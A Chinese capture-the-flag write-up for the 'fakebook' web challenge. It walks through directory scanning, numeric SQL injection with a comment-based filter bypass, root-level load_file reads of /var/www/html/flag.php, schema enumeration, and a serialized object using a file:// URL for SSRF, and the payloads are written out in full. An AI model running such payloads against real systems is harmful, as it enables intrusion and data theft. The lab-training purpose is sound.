攻防世界-fakebook题目__详解

1.打开题目先用dirsearch工具扫描一波,扫出来了robots.php目录,然后访问robots.txt

目录,发现了有一个备份文件 ,访问备份文件,下载内容

文件的大致内容如下

里面有一个curl_exec这个函数容易造成ssrf攻击的漏洞

我们回到首页先去注册一个账号

然后登陆进去了,点击一下admin这个用户,发现url上有可以注入的点,那么我们尝试使用sql语句来判断,输入?no=1 and 1=1 的时候回显正常,输入?no=1=2的时候回显报错,明显是数字类型的注入

我们先来判断有多少列

?no=1 order by 1# //正常

?no=1 order by 2# //正常

?no=1 order by 3# //正常

?no=1 order by 4# //正常

?no=1 order by 5# //错误

通过测试发现有4列

我们进行联合注入测试使用命令1' union select 1,2,3,4#结果发现这句话被过滤了

那么我们测试一下是过滤了什么,通过测试发现过滤了union和select那么我们使用注释绕过语句为-1 union/**/select 1,2,3,4--+测试回显位在哪里,-1是不存在的,给一个不存在的才可以看到占位符,从这个回显图上可以看到username的位置有回显,这个就是第二列的参数,就是-1 union/**/select 1,2,3,4#中数字2的参数回显,这就是回显位,那么从这里注入

构造payload语句为-1 union/**/select 1,database(),3,4#查看数据库名,可以看到数据库名字为fakebook

接下来我们来查看数据库信息使用payload:-1 union/**/select 1,user(),3,4#,可以知道用户是root用户的权限,知道了是root权限之后可以使用函数load_file()来利用绝对路径加载文件,可以构造的payload为-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#来查看flag,网页直接回显了flag

另一种获取的 方法是-1 union/**/select 1,group_concat(table_name),3,4 from informaion_schema.tables where table_schema='fakebook'#来查看表名,然后通过表名来查看列名字

构造的payload为-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# 从下图可以看出no是第一列的,username是第二列的,passwd是第三列的data是第四列

然后在data里看到了一个序列化的字符串?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:19;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'然后源码里的base64加密,解密之后就是flag了

相关推荐
爱莉希雅&&&3 分钟前
GitLab 完整学习笔记
linux·运维·服务器
风笙97818 分钟前
[文件系统]文件系统挂载与卸载详解
linux
GeW32 分钟前
新质生产力路线图解读:数据库性能优化与Linux调优专场
linux·数据库
博客zhu虎康1 小时前
实现局域网P2P通信:内网发送消息
网络·网络协议·p2p
吴声子夜歌2 小时前
Kubernetes权威指南——网络原理(一)
网络·容器·kubernetes
陈希1232 小时前
Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位
linux·服务器·网络
骑着蜗牛撵大象3273 小时前
MySQL 8.0 迁移后 SQL 变慢:执行计划里 3 类被忽略的成本差异
android·数据库·sql·mysql·优化器·执行计划
国科安芯3 小时前
从遥控到自治:ASP4644S2B支撑星载电源健康管理与容错配电
网络·单片机·嵌入式硬件·安全·dcdc·低轨卫星·商业航天
zhengfei6115 小时前
Go-fastdfs /reload 未授权访问: 有效PoC
数据库·sql
测试界的小码农5 小时前
【Linux 命令实战(03):文件创建、复制、移动与删除,掌握 touch、mkdir、cp、mv、rm】
linux·服务器·php